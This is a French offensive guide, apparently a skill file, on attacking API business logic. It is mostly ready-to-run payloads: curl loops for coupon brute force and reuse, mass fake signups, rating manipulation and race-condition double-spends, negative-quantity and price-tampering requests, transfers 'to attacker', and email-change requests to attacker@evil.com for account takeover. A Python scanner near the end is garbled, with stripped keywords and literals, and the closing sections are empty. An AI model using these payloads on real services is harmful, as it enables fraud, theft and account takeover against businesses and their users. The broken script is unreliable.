| name | api-business-logic-attacks |
| description | Guide complet d'exploitation des failles de logique métier dans les API — workflow bypass, coupon abuse, balance manipulation, multi-step fraud, voting manipulation, et race conditions économiques |
| category | cybersecurite |
API Business Logic Attacks — Guide Avancé
Introduction
Les failles de logique métier sont les plus difficiles à détecter automatiquement. Elles exploitent la manière dont l'application manipule les données et les flux, pas les bugs techniques. Chaque endpoint API révèle une brique du business model.
1. Workflow Bypass
1.1 Step Skipping
POST /api/v1/cart
{"productId": 1, "quantity": 1}
POST /api/v1/orders/confirm
{"cartId": "cart_123"}
GET /api/v1/orders/latest
1.2 Status Manipulation
PATCH /api/v1/orders/123
{"status": "shipped"}
{"status": "delivered"}
{"status": "completed"}
{"orderStatus": "paid"}
{"paymentStatus": "confirmed"}
POST /api/v1/orders/123/payments
{"amount": 0, "status": "completed"}
1.3 Sequential ID Manipulation
GET /api/v1/checkout/steps
→ {"steps": [{"id": 1, "name": "cart"}, {"id": 2, "name": "shipping"},
{"id": 3, "name": "payment"}, {"id": 4, "name": "review"}]}
POST /api/v1/checkout/step/4
{"cartId": "cart_123"}
2. Coupon / Discount Abuse
2.1 Coupon Stacking
POST /api/v1/cart/coupon
{"code": "WELCOME10"}
POST /api/v1/cart/coupon
{"code": "FREESHIP"}
POST /api/v1/cart/coupon
{"code": "NEW50"}
POST /api/v1/cart/coupon
{"code": "FIRSTORDER"}
GET /api/v1/cart
→ {"total": 0, "appliedCoupons": ["WELCOME10", "FREESHIP", "NEW50", "FIRSTORDER"]}
2.2 Coupon Reuse
for i in $(seq 1 100); do
curl -X POST https://api.target.com/api/v1/orders \
-H "Authorization: Bearer <token_$i>" \
-d '{"productId": 1, "coupon": "WELCOME10"}'
done
for i in $(seq 1 100); do
curl -X POST https://api.target.com/api/v1/auth/signup \
-d '{"email":"user'$i'@test.com","password":"pass123"}'
curl -X POST https://api.target.com/api/v1/orders \
-H "Authorization: Bearer <token_$i>" \
-d '{"productId": 1, "coupon": "WELCOME10"}'
done
2.3 Coupon Negative Price
POST /api/v1/cart/checkout
{"coupon": "NEGATIVE100", "quantity": 1}
POST /api/v1/cart/checkout
{"coupon": "FREEGIFT", "quantity": 999}
POST /api/v1/cart/checkout
{"quantity": -1, "coupon": "WELCOME10"}
2.4 Coupon Bruteforce
for code in $(seq 0 99999); do
curl -X POST https://api.target.com/api/v1/cart/coupon \
-d '{"code":"SUMMER-'$(printf "%05d" $code)'"}'
done
for i in $(seq 10 10 100); do
curl -s https://api.target.com/api/v1/cart/coupon \
-d '{"code":"NEW'$i'"}'
done
3. Balance / Credit Manipulation
3.1 Negative Quantity
POST /api/v1/orders
{"productId": 1, "quantity": -100, "price": 10}
POST /api/v1/orders
{"productId": 1, "quantity": -1}
POST /api/v1/orders
{"productId": 1, "quantity": -1}
3.2 Price Manipulation
POST /api/v1/cart/add
{"productId": 1, "price": 0.01}
{"productId": 1, "price": 0}
{"productId": 1, "price": -100}
POST /api/v1/checkout
{"productId": 1, "quantity": 1, "unitPrice": 0.01}
3.3 Integer Overflow
POST /api/v1/transfer
{"amount": 999999999999999999999999999999999999, "to": "attacker"}
POST /api/v1/transfer
{"amount": 0.0000000000000000000000000000000000000001}
3.4 Rounding Exploitation
for i in $(seq 1 1000000); do
curl -X POST https://api.target.com/api/v1/transfer \
-d '{"amount": 0.001, "to": "attacker"}'
done
4. Multi-Step Fraud
4.1 Split Transaction
for i in $(seq 1 5); do
curl -X POST https://api.target.com/api/v1/transfer \
-d '{"amount": 1000, "to": "attacker"}'
done
4.2 Multi-Account Laundering
for account in B C D E; do
curl -X POST https://api.target.com/api/v1/transfer \
-H "Authorization: Bearer <token_$account>" \
-d '{"amount": 200, "from": "prev_account", "to": "'$account'"}'
done
4.3 Time-Based Abuse
curl -X POST https://api.target.com/api/v1/transfer \
-d '{"amount": 1000, "to": "external"}'
curl -X POST https://api.target.com/api/v1/orders \
-d '{"productId": 1, "quantity": 1}'
5. Voting / Rating Manipulation
5.1 Vote Unlimited
for i in $(seq 1 1000); do
curl -X POST https://api.target.com/api/v1/products/1/rate \
-d '{"rating": 5}'
done
for i in $(seq 1 1000); do
curl -X POST https://api.target.com/api/v1/auth/guest-session
curl -X POST https://api.target.com/api/v1/products/1/rate \
-H "Authorization: Bearer <guest_token>" \
-d '{"rating": 1}'
done
5.2 Rating Manipulation
POST /api/v1/products/2/rate
{"rating": 1, "review": "Bad product"}
for i in $(seq 1 1000); do
curl -X POST https://api.target.com/api/v1/products/1/rate \
-H "Authorization: Bearer <token_$i>" \
-d '{"rating": 5, "review": "Amazing!"}'
done
6. Race Condition Économique
6.1 Coupon Race
for i in $(seq 1 20); do
curl -X POST https://api.target.com/api/v1/cart/coupon \
-d '{"code":"ONETIME100"}' &
done
wait
6.2 Balance Double-Spend
for i in $(seq 1 10); do
curl -X POST https://api.target.com/api/v1/orders \
-d '{"productId": 1, "quantity": 1}' &
curl -X POST https://api.target.com/api/v1/transfer \
-d '{"amount": 100, "to": "attacker"}' &
done
wait
7. Inventory / Stock Manipulation
7.1 Negative Stock
POST /api/v1/orders
{"productId": 1, "quantity": 999999}
POST /api/v1/orders
{"productId": 1, "quantity": 1}
7.2 Free Item via Bundle
POST /api/v1/cart/bundle
{"items": [
{"productId": 1, "quantity": 1},
{"productId": 2, "quantity": 1},
{"productId": 2, "quantity": -1}
]}
POST /api/v1/cart/bundle
{"items": [
{"productId": 1, "quantity": 1, "price": 0},
{"productId": 2, "quantity": 1, "price": 0}
]}
8. Account Takeover via Business Logic
8.1 Email Change Without Verification
PUT /api/v1/account/email
{"email": "attacker@evil.com", "verify": false}
PUT /api/v1/account/email
{"email": "attacker@evil.com", "skipVerification": true}
PUT /api/v1/account/email
{"email": "attacker@evil.com", "currentPassword": "known"}
8.2 Phone Number Swap
PUT /api/v1/account/phone
{"phone": "+33612345678", "verifySms": false}
Script Automatisé
"""Scanner de failles de logique métier API."""
import requests
import threading
from concurrent.futures import ThreadPoolExecutor
BASE = "https://api.target.com"
def test_negative_quantity():
"""Teste les quantités négatives."""
for qty in [-1, -10, -100, -999]:
r = requests.post(BASE + "/api/v1/orders", json={
"productId": 1, "quantity": qty
})
if r.status_code in [200, 201]:
print(f"[NEGATIVE QTY] Quantité {qty} acceptée: {r.text[:100]}")
def test_coupon_stacking():
"""Teste le stacking de coupons."""
coupons = ["WELCOME10", "NEW50", "FREESHIP", "FIRSTORDER", "VIP20"]
for c in coupons:
r = requests.post(BASE + "/api/v1/cart/coupon", json={"code": c})
if r.status_code == 200:
print(f"[COUPON] {c} accepté")
r = requests.get(BASE + "/api/v1/cart")
r.status_code == :
total = r.json().get(, )
total <= :
()
():
():
requests.post(BASE + endpoint, json=payload)
ThreadPoolExecutor(max_workers=n) ex:
futures = [ex.submit(req) _ (n)]
()
__name__ == :
test_negative_quantity()
test_coupon_stacking()
race_condition_test(, {: })
Checklist
Ressources